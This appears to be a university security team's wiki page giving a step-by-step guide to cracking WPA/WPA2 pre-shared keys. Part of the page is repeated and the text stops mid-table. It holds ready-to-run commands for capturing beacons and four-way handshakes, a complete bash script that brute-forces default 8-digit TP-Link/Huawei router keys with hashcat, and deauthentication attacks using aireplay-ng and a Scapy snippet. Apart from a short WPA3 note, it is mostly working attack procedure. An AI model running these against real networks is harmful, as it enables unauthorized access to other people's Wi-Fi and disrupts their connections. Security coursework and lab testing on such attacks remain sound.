<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.

sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

sudo airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.

sudo airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplicant

* Start in monitor mode

sudo airmon-ng start wlan0mon 9

Alternatively create a monitoring device by using:

sudo airmon-ng start wlan0

If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called "wlan0mon" or on a different setup <YOUR DEVICE NAME>mon. This is the actual monitoring device.

=== Capture Beacon ===

* using wireshark or airodump-ng

sudo airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

sudo airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

Explaination: -c selects the Channel on which the router is sending, --bssid is the MAC Address of the Router -w shows the Mode "PSK" and wlan0mon is the capturing device.
With this command, airodump-ng records the traffic and saves it into different *.cap files.

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

sudo aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

sudo airmon-ng stop wlan0mon

* Restart network manager for internet access

sudo service network-manager restart

Alternatively on systemd:

sudo systemctl restart network-manager

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux on Kernel: 6.12.1, Intel Wireless (Alder Lake-S PCH CNVi WiFi)
* DSTIKE Deauther Watch V1

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T18:08:44Z

RSchuller: /* Used Hardware */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
